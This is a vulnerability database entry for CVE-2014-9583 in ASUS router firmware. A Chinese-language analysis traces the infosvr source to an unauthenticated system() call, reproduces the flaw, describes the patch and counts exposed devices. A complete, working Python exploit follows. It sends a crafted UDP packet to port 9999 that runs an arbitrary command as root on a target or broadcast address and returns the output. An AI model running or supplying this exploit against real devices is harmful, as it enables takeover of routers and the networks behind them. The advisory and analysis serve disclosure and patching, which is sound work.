ASUSWRT 3.0.0.4.376_1071 - LAN Backdoor Command Execution

2015-07-02T00:00:00
ID SSV:89236
Type seebug
Reporter Root
Modified 2015-07-02T00:00:00

Description

<p><strong>漏洞概要</strong></p><p>2014年10月3日,国外安全研究员Joshua J. Drake在他github(<a href="https://github.com/jduck">https://github.com/jduck</a>)提交了针对华硕路由器的一个远程命令执行漏洞poc(<a href="https://github.com/jduck/asus-cmd">https://github.com/jduck/asus-cmd</a>)。该漏洞随后被编号为CVE-2014-9583。</p><p>知道创宇安全研究团队在第一时间对该命令执行漏洞进行了研究和分析。</p><h4>a)     漏洞描述</h4><p>华硕路由器R系列路由器使用开源路由器系统 <a href="https://github.com/RMerl/asuswrt-merlin" target="_blank">Asuswrt</a>,开源代码给我们随后的漏洞分析带来很多方便,不用逆向分析。在Asuswrt中存在 <a href="https://github.com/RMerl/asuswrt-merlin/tree/master/release/src/router/infosvr" target="_blank">infosvr</a> 进程,该进程监听在0.0.0.0 IP上,监听本机任何IP的9999 UDP端口。Infosvr自身的授权机制不完整,在infosvr处理用户提交的数据时也没有适合的过滤,而且使用了system()函数执行部分请求,最终导致远程命令执行漏洞。</p><h4>b)     漏洞影响</h4><p>据Joshua J. Drake在github上的分析,受影响的版本如下:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/1.jpg" alt="1" width="492" height="241"></p><p>不过,开源路由器系统Asuswrt项目支持如下所有路由器硬件型号,所以建议如下型号路由器用户检测是否存在漏洞:</p><ul><li>RT-N16</li><li>RT-AC56U</li><li>RT-N66U</li><li>RT-AC66U</li><li>RT-AC68U</li><li>RT-AC68P</li><li>RT-AC87U</li></ul><h4> c)     漏洞分析</h4><p>代码文件:</p><p><a href="https://github.com/RMerl/asuswrt-merlin/blob/34b5933112d7164b68add63fee63f007a0569309/release/src/router/infosvr/infosvr.c">https://github.com/RMerl/asuswrt-merlin/blob/34b5933112d7164b68add63fee63f007a0569309/release/src/router/infosvr/infosvr.c</a><br></p><p>在代码162行处,infosvr绑定到了0.0.0.0 IP的9999 UDP端口上,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image003.png" alt="image003" width="638" height="179"></p><p> </p><p>在代码186行处,infosvr对传入的请求交给processReq()函数处理,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image005.png" alt="image005" width="642" height="243"></p><p>processReq()函数的功能就是接收512字节的请求数据,并在代码227行处把数据交给processPacket()函数处理,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image007.png" alt="image007" width="643" height="454"></p><p> </p><p>processPacket()函数位于文件:</p><p><a href="https://github.com/RMerl/asuswrt-merlin/blob/34b5933112d7164b68add63fee63f007a0569309/release/src/router/infosvr/common.c">https://github.com/RMerl/asuswrt-merlin/blob/34b5933112d7164b68add63fee63f007a0569309/release/src/router/infosvr/common.c</a><br></p><p>processPacket()函数在代码202行处把512字节的请求数据(pdubuf字符指针)转换成IBOX_COMM_PKT_HDR结构(phdr),攻击者如果想触发漏洞,需要按照这个数据结构来发送数据包,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image009.png" alt="image009" width="647" height="343"></p><p>IBOX_COMM_PKT_HDR结构在文件:</p><p><a href="https://github.com/RMerl/asuswrt-merlin/blob/34b5933112d7164b68add63fee63f007a0569309/release/src/router/infosvr/iboxcom.h.wirelesshd">https://github.com/RMerl/asuswrt-merlin/blob/34b5933112d7164b68add63fee63f007a0569309/release/src/router/infosvr/iboxcom.h.wirelesshd</a><br></p><p>IBOX_COMM_PKT_HDR结构在代码81行处定义,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image011.png" alt="image011" width="641" height="110"></p><p>想要进入触发漏洞的关键代码区域,需要通过common.c文件代码207行处的if判断,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image013.png" alt="image013" width="645" height="104"></p><p>所以,我们要设定攻击代码的前两字节分别为常量NET_SERVICE_ID_IBOX_INFO和NET_PACKET_TYPE_CMD的值,即:\x0C\x15(十进制是12和21),如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image015.png" alt="image015" width="645" height="140"></p><p>来到common.c文件代码222行处,infosvr作者应该是想对随后能执行system()函数代码的数据做个授权,或者验证。该处作者使用了MAC验证(代码227行处)和密码验证,不过不知为何密码验证代码被注释掉了(代码240行处),而针对MAC验证的代码也属于摆设状态,代码如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image017.png" alt="image017" width="644" height="355"></p><p>在验证前,需要把512字节数据pdubuf转换成IBOX_COMM_PKT_HDR_EX数据结构,IBOX_COMM_PKT_HDR_EX结构包含了MAC字段和密码字段,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image019.png" alt="image019" width="644" height="117"></p><p>为什么说MAC验证是摆设呢?因为在common.c文件代码227行处,代码只是把MacAddress的前6字节拷贝到了字符数组mac处,返回是指向mac地址的指针,不会等于0,所以该验证毫无任何用处,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image021.png" alt="image021" width="642" height="155"></p><p>大胆猜测作者可能是想用memcmp()函数,结果用错了,不得而知。</p><p>继续前进,在common.c文件代码251行处进入switch()函数判断阶段,针对不同OpCode执行不同的分支代码,而当OpCode为NET_CMD_ID_MANU_CMD常量值(十进制51,十六进制33)时,才能执行system()函数代码,所以,我们要设定攻击代码的前四字节为\x0C\x15\x33\x00,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image023.png" alt="image023" width="643" height="93"></p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image025.png" alt="image025" width="643" height="243"></p><p>在common.c文件NET_CMD_ID_MANU_CMD分值代码中,代码440行出代码把pdubuf减去IBOX_COMM_PKT_HDR_EX结构的数据,剩余部分转换成PKT_SYSCMD结构,作为命令执行数据,PKT_SYSCMD结构如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image027.png" alt="image027" width="644" height="64"></p><p>最终,在common.c文件代码514行处,syscmd结构中cmd字段被赋值给cmdstr,在代码515行处,cmdstr作为命令被system()函数执行,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image029.png" alt="image029" width="643" height="93"></p><h4>d)     漏洞重现</h4><p>漏洞测试脚本:</p><p><a href="http://www.exploit-db.com/exploits/35688/"><i> </i>http://www.exploit-db.com/exploits/35688/ </a><br></p><p>下载存在漏洞的华硕路由固件:</p><p><a href="http://dlsvr04.asus.com/pub/ASUS/wireless/RT-AC66U/FW_RT_AC66U_30043763626.zip">http://dlsvr04.asus.com/pub/ASUS/wireless/RT-AC66U/FW_RT_AC66U_30043763626.zip</a><br></p><p>binwalk解压文件:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/31.png" alt="31" width="659" height="258"></p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image033.png" alt="image033" width="652" height="106"></p><p> </p><p>模拟运行,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image035.png" alt="image035" width="610" height="395"></p><p>攻击infosvr程序,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image037.png" alt="image037" width="608" height="393"></p><p>命令执行成功,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image039.png" alt="image039" width="626" height="465"></p><h4>e)     漏洞修复</h4><p>开源路由器系统Asuswrt已经2015年1月10号下午修复了漏洞,修复漏洞的办法是直接注释掉了触发命令执行漏洞的关键部分,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image041.png" alt="image041" width="644" height="269"></p><p>华硕官方也推出相应的固件升级,想要修复漏洞的用户可以去下载相关路由器型号的升级固件:</p><p><a href="http://www.asus.com.cn/Networking/Wireless_Routers_Products/">http://www.asus.com.cn/Networking/Wireless_Routers_Products/</a><br></p><p>例如RT-AC66U型号路由器2015年1月12号推出的升级版本,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image043.png" alt="image043" width="611" height="266"></p><p> </p><p>ZoomEye检测报告</p><p>由于此次华硕路由器命令执行漏洞难以使用无损探测方法探测,我们仅根据版本型号去推测漏洞的影响范围。把受影响的华硕路由器型号放在ZoomEye(<a href="http://www.zoomeye.org" rel="nofollow">http://www.zoomeye.org</a>)中检索,我们得到以下数据:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/10.jpg" alt="10" width="488" height="186"></p><p>RT-AC66U,21776个,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image045.png" alt="image045" width="554" height="286"></p><p>RT-N66U,37156个,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/222222.jpg" alt="222222" width="555" height="290"></p><p>RT-AC87U,1314个,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image049.png" alt="image049" width="539" height="283"></p><p>RT-N56U,23974个,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/01/image051.png" alt="image051" width="518" height="322"></p><p>路由器系统管理端口正常情况下是不会暴漏在公网上的,我们检索到的只是暴漏在公网上开放管理端口路由器设备的,相信还有更多的设备隐藏在背后。所以,建议使用者尽快升级华硕路由器系统。</p><p><strong>相关资源链接</strong></p><ol><li><a href="http://www.freebuf.com/news/56074.html">http://www.freebuf.com/news/56074.html</a></li><li><a href="https://github.com/jduck/asus-cmd">https://github.com/jduck/asus-cmd</a></li><li><a href="https://github.com/RMerl/asuswrt-merlin">https://github.com/RMerl/asuswrt-merlin</a></li><li><a href="http://www.asus.com.cn/Networking/RTAC68U/HelpDesk_Download/">http://www.asus.com.cn/Networking/RTAC68U/HelpDesk_Download/</a></li></ol><p><br></p><p>PDF 下载地址:<a href="http://whttp://blog.knownsec.com/wp-content/uploads/2015/01/%E5%8D%8E%E7%A1%95%E8%B7%AF%E7%94%B1%E5%99%A89999%E7%AB%AF%E5%8F%A3%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%A0%94%E7%A9%B6%E6%8A%A5%E5%91%8A-V1.pdfww.example.com" target="_blank">华硕路由器9999端口远程命令执行研究报告 V1</a><br></p>

                                        
                                            
                                                #!/usr/bin/env python3

# Exploit Title: ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution
# Date: 2014-10-11
# Vendor Homepage: http://www.asus.com/
# Software Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/FW_RT_N66U_30043762524.zip
# Source code: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/GPL_RT_N66U_30043762524.zip
# Tested Version: 3.0.0.4.376_1071-g8696125
# Tested Device: RT-N66U

# Description:
# A service called "infosvr" listens on port 9999 on the LAN bridge.
# Normally this service is used for device discovery using the
# "ASUS Wireless Router Device Discovery Utility", but this service contains a
# feature that allows an unauthenticated user on the LAN to execute commands
# &lt;= 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr.
# "iboxcom.h" is in asuswrt/release/src/router/shared.
#
# Affected devices may also include wireless repeaters and other networking
# products, especially the ones which have "Device Discovery" in their features
# list.
#
# Using broadcast address as the IP address should work and execute the command
# on all devices in the network segment, but only receiving one response is
# supported by this script.

import sys, os, socket, struct


PORT = 9999

if len(sys.argv) &lt; 3:
    print('Usage: ' + sys.argv[0] + ' &lt;ip&gt; &lt;command&gt;', file=sys.stderr)
    sys.exit(1)


ip = sys.argv[1]
cmd = sys.argv[2]

enccmd = cmd.encode()

if len(enccmd) &gt; 237:
    # Strings longer than 237 bytes cause the buffer to overflow and possibly crash the server. 
    print('Values over 237 will give rise to undefined behaviour.', file=sys.stderr)
    sys.exit(1)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', PORT))
sock.settimeout(2)

# Request consists of following things
# ServiceID     [byte]      ; NET_SERVICE_ID_IBOX_INFO
# PacketType    [byte]      ; NET_PACKET_TYPE_CMD
# OpCode        [word]      ; NET_CMD_ID_MANU_CMD
# Info          [dword]     ; Comment: "Or Transaction ID"
# MacAddress    [byte[6]]   ; Double-wrongly "checked" with memcpy instead of memcmp
# Password      [byte[32]]  ; Not checked at all
# Length        [word]
# Command       [byte[420]] ; 420 bytes in struct, 256 - 19 unusable in code = 237 usable

packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('&lt;H', len(enccmd)) + enccmd).ljust(512, b'\x00')

sock.sendto(packet, (ip, PORT))


# Response consists of following things
# ServiceID     [byte]      ; NET_SERVICE_ID_IBOX_INFO
# PacketType    [byte]      ; NET_PACKET_TYPE_RES
# OpCode        [word]      ; NET_CMD_ID_MANU_CMD
# Info          [dword]     ; Equal to Info of request
# MacAddress    [byte[6]]   ; Filled in for us
# Length        [word]
# Result        [byte[420]] ; Actually returns that amount

while True:
    data, addr = sock.recvfrom(512)

    if len(data) == 512 and data[1] == 22:
        break

length = struct.unpack('&lt;H', data[14:16])[0]
s = slice(16, 16+length)
sys.stdout.buffer.write(data[s])

sock.close()